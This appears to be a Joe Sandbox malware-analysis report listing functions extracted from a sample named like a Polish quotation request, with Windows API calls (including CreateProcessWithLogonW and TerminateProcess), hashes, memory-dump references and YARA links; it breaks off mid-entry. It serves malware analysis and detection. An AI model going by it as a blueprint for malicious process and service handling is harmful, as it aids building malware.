Instruction ID: 2ee25f48dcb0ad8048bc4d9c922f6cac320a9d705fdb810e808868a6102f62dc
Opcode Fuzzy Hash: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
Instruction Fuzzy Hash: 05312770200A419FD724DF24C998B3A73F9FB44312F4485AAE945CB266E778EC49CB69

Function 00455080 Relevance: 9.1, APIs: 6, Instructions: 75windowCOMMON

Download Yara Rule

APIs

DestroyMenu.USER32(?), ref: 004550EC
DestroyMenu.USER32(?), ref: 00455102
DeleteObject.GDI32(?), ref: 0045564E
DeleteObject.GDI32(?), ref: 0045565C
DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
DestroyWindow.USER32(?,?,?,?,?), ref: 00455678

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Destroy$DeleteMenuObject$IconWindow
String ID:
API String ID: 752480666-0
Opcode ID: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
Instruction ID: bf467a0aa8f060071afd9cdae546a2eb92d9c059e8a57ac1e588bb5f3fc3a395
Opcode Fuzzy Hash: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
Instruction Fuzzy Hash: 26215E30200A019FC724DF24D5E8B7AB7A9FB44312F50855EED498B392CB39EC89CB59

Function 00455212 Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 0045527A
ImageList_Destroy.COMCTL32(?), ref: 0045528C
DeleteObject.GDI32(?), ref: 0045564E
DeleteObject.GDI32(?), ref: 0045565C
DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
DestroyWindow.USER32(?,?,?,?,?), ref: 00455678

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Destroy$DeleteObjectWindow$IconImageList_
String ID:
API String ID: 3275902921-0
Opcode ID: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
Instruction ID: c357af2a313eda44c34a26cb015c973203dd8f66e4d80e74dc1abfaeb9ce60f9
Opcode Fuzzy Hash: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
Instruction Fuzzy Hash: 2D217E70604A019BC714DF79D99466AB7A5BF44311F40856EF919CB342DB38E849CF68

Function 00439326 Relevance: 9.1, APIs: 6, Instructions: 72processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,?,?,?,?,?,00446540,?,?,?,?,?,?,?,?,?), ref: 0043935D
OpenProcessToken.ADVAPI32(00000000,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439364
CreateEnvironmentBlock.USERENV(?,?,00000001,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439376
CloseHandle.KERNEL32(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439383
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004393C0
DestroyEnvironmentBlock.USERENV(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 004393D4

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
Instruction ID: 8c652321442b38080740e7d333ba663a52d3460857ef2618669649d87ea194c0
Opcode Fuzzy Hash: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
Instruction Fuzzy Hash: 7B2150B2208300ABD314CB65D854EABB7EDEBCD754F084E1DF989A3250C7B4E901CB25

Function 0041415E Relevance: 9.1, APIs: 6, Instructions: 71threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 0041418F
__calloc_crt.LIBCMT ref: 0041419B
__getptd.LIBCMT ref: 004141A8
CreateThread.KERNEL32(?,?,004140DB,00000000,?,?), ref: 004141DF
GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 004141E9
__dosmaperr.LIBCMT ref: 00414201

Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23

Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
String ID:
API String ID: 1803633139-0
Opcode ID: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
Instruction ID: ec3febacf030228bba34671a5a373aa86179f0c9a00f1e1343e4adce14cbcb36
Opcode Fuzzy Hash: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
Instruction Fuzzy Hash: 1311DD72504209BFCB10AFA5DC828DF7BA8EF44368B20446EF50193151EB39C9C18A68

Function 004555E0 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON

Download Yara Rule

APIs

ImageList_Destroy.COMCTL32(?), ref: 004555E8
DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
DeleteObject.GDI32(?), ref: 0045564E
DeleteObject.GDI32(?), ref: 0045565C
DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
DestroyWindow.USER32(?,?,?,?,?), ref: 00455678

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Destroy$DeleteObjectWindow$IconImageList_
String ID:
API String ID: 3275902921-0
Opcode ID: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
Instruction ID: 9e206caaed87a4944845468030bda76e3f946505fe2e652cce1cc100bc4c7c20
Opcode Fuzzy Hash: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
Instruction Fuzzy Hash: BE2141702006409FCB25DF25C994A2B77A9FF44312F80856EED49CB352DB39EC4ACB59

Function 004554B5 Relevance: 9.1, APIs: 6, Instructions: 62windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 004554DF
SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004554FA
DeleteObject.GDI32(?), ref: 0045564E
DeleteObject.GDI32(?), ref: 0045565C
DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
DestroyWindow.USER32(?,?,?,?,?), ref: 00455678

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: DeleteDestroyMessageObjectSend$IconWindow
String ID:
API String ID: 3691411573-0
Opcode ID: 72621546fc85f43182a2d7aa0f69f9d8a5c0b98b4bf428e1f87a25fd8cd6fa89
Instruction ID: 46bf5c356378f1810468ef4d8dfe2f1c399e91f4bdd480ef4a2643e810f8fbb4
Opcode Fuzzy Hash: 72621546fc85f43182a2d7aa0f69f9d8a5c0b98b4bf428e1f87a25fd8cd6fa89
Instruction Fuzzy Hash: 8B1108713047419BC710DF68DDC8B2A77A8BB14322F400A6AFD14DB2D2D778DC498769

Function 0043609C Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004360B5
_wcslen.LIBCMT ref: 004360CE
_wcstok.LIBCMT ref: 004360E0
_wcslen.LIBCMT ref: 004360F0
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 004360FF
_wcstok.LIBCMT ref: 00436114

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: _wcslen$_wcstok$ExtentPoint32Text
String ID:
API String ID: 1814673581-0
Opcode ID: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
Instruction ID: 25d714350c6a951fb861184d208c8546153e966ae5ec0a2422e5c8358eb53325
Opcode Fuzzy Hash: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
Instruction Fuzzy Hash: F60125B19053126BC6209F95DC42B5BB7E8EF45760F11842AFD04E3340D7F8E84483EA

Function 00436272 Relevance: 9.1, APIs: 6, Instructions: 59sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362A7
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362B2
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362BA
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362C5

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
Instruction ID: c21ea81f2c38402705b15ef58ab4919efdb6e4f3ef0ac894e378511a69de5cf2
Opcode Fuzzy Hash: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
Instruction Fuzzy Hash: C411D031909306ABC700EF19DA8499FB7E4FFCCB11F828D2DF98592210D734C9498B96

Function 004471EC Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC

MoveToEx.GDI32(?,?,?,00000000), ref: 0044721F
LineTo.GDI32(?,?,?), ref: 00447227
MoveToEx.GDI32(?,?,?,00000000), ref: 00447235
LineTo.GDI32(?,?,?), ref: 0044723D
EndPath.GDI32(?), ref: 0044724E
StrokePath.GDI32(?), ref: 0044725C

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
String ID:
API String ID: 372113273-0
Opcode ID: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
Instruction ID: cf4011081099dc8586e946db52605055ec0608de7db987eb6b7af15cf0be2a5d
Opcode Fuzzy Hash: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
Instruction Fuzzy Hash: B7018F36105264BBE2119750EC4AF9FBBACEF8A710F14451DF70156191C7F42A0587BD

Function 0044B64F Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0042A369,057401F8), ref: 0044B66E
EnterCriticalSection.KERNEL32(0042A321), ref: 0044B67B
TerminateThread.KERNEL32(?,000001F6), ref: 0044B689
WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B697

Part of subcall function 004356CD: CloseHandle.KERNEL32(00000000,0042A365,0044B6A3,0042A365,?,000003E8,?,000001F6), ref: 004356D9

InterlockedExchange.KERNEL32(0042A369,000001F6), ref: 0044B6AC
LeaveCriticalSection.KERNEL32(0042A321), ref: 0044B6AF

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
Instruction ID: 3e278a896620ffa5fdfd5bcc44ba61fc9bc9ab212b345b13b81bb6ec37c91fca
Opcode Fuzzy Hash: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
Instruction Fuzzy Hash: E3F0F672141206BBD210AB24EE89DBFB37CFF44315F41096AF60142550CB75F811CBBA

Function 00437118 Relevance: 9.0, APIs: 6, Instructions: 37windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00437127
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00437140
GetWindowThreadProcessId.USER32(?,?), ref: 00437150
OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 00437162
TerminateProcess.KERNEL32(00000000,00000000), ref: 0043716D
CloseHandle.KERNEL32(00000000), ref: 00437174

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
Instruction ID: 38550948ec006cf47bed7574f40cc63f5aae242ba43c895826076912260f23cd
Opcode Fuzzy Hash: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
Instruction Fuzzy Hash: 37F054352813117BE6215B109E4EFEF37A8AF49F02F104828FB41B51D0E7E469458BAE

Function 0043604B Relevance: 9.0, APIs: 6, Instructions: 33serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,004A8E80,BC000000,00431B28,004A7D14,00000004), ref: 00436055
LockServiceDatabase.ADVAPI32(00000000), ref: 00436062
UnlockServiceDatabase.ADVAPI32(00000000), ref: 0043606D
CloseServiceHandle.ADVAPI32(00000000), ref: 00436076
GetLastError.KERNEL32 ref: 00436081
CloseServiceHandle.ADVAPI32(00000000), ref: 00436091

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
String ID:
API String ID: 1690418490-0
Opcode ID: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
Instruction ID: 156e5f382d75df54ba3c5c30185d6bb62b1a9e6e0194ec4ef6b9e4a62dbea0b3
Opcode Fuzzy Hash: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
Instruction Fuzzy Hash: 9BE0E5319821216BC6231B30AE4DBCF3B99DB1F311F041827F701D2250CB998404DBA8

Function 0045F132 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045F1A0
GetMenuItemInfoW.USER32 ref: 0045F1B9
DeleteMenu.USER32(?,?,00000000), ref: 0045F218
DeleteMenu.USER32(?,?,00000000), ref: 0045F27A

Strings

0, xrefs: 0045F198

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
Instruction ID: b3a4179b3c174fb1a3aa0d908437eb3f68f1f523a6631853a4ee88e897a1c7ed
Opcode Fuzzy Hash: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
Instruction Fuzzy Hash: 31418CB55043019BD710CF19C884B5BBBE5AFC5324F148A6EFCA49B282C375E809CBA6

Function 004692E4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469368
SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00469379
SendMessageW.USER32(?,?,00000000,00000000), ref: 004693AB

Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2

Strings

ComboBox, xrefs: 004692EF
ListBox, xrefs: 00469323

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID: ComboBox$ListBox
API String ID: 763830540-1403004172
Opcode ID: 20f888e87418bdffc65c99fd9354da899e7a4d3b5911f688c71664234f3ce0af
Instruction ID: 8c71ebf423f389569590ff88e643f185c263fd61562863516bde62979c95be4e
Opcode Fuzzy Hash: 20f888e87418bdffc65c99fd9354da899e7a4d3b5911f688c71664234f3ce0af
Instruction Fuzzy Hash: E0210C7160020067C210BB3A9C46FAF77989B85364F09052FF959AB3D1EA7CE94A436E

Function 004412AE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00441333
LoadLibraryW.KERNEL32(?,?,?,?,0047B4D0,?,?,?,?,?,?,?,?,?,00000000), ref: 0044133A
SendMessageW.USER32(?,00000467,00000000,?), ref: 00441352
DestroyWindow.USER32(00000000,?,00000467,00000000,?,?,?,?,0047B4D0,?,?,?,?,?,?), ref: 0044135B

Strings

SysAnimate32, xrefs: 00441311

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
Instruction ID: 28effd0bdeb99d0e0a50349a2d6ccdc4655b9339127a2247ff1827a793b197f6
Opcode Fuzzy Hash: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
Instruction Fuzzy Hash: D0216271204301ABF7209AA5DC84F6B73ECEBD9724F104A1EF651D72E0D6B4DC818729

Function 00443009 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0044304E
TranslateMessage.USER32(?), ref: 0044308B
DispatchMessageW.USER32(?), ref: 00443096
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004430AD

Strings

*.*, xrefs: 00443036

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID: *.*
API String ID: 1795658109-438819550
Opcode ID: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
Instruction ID: a39ada88e739a490af96418dc0f35d82e94fc94c1e76e22fe960a83301852fb1
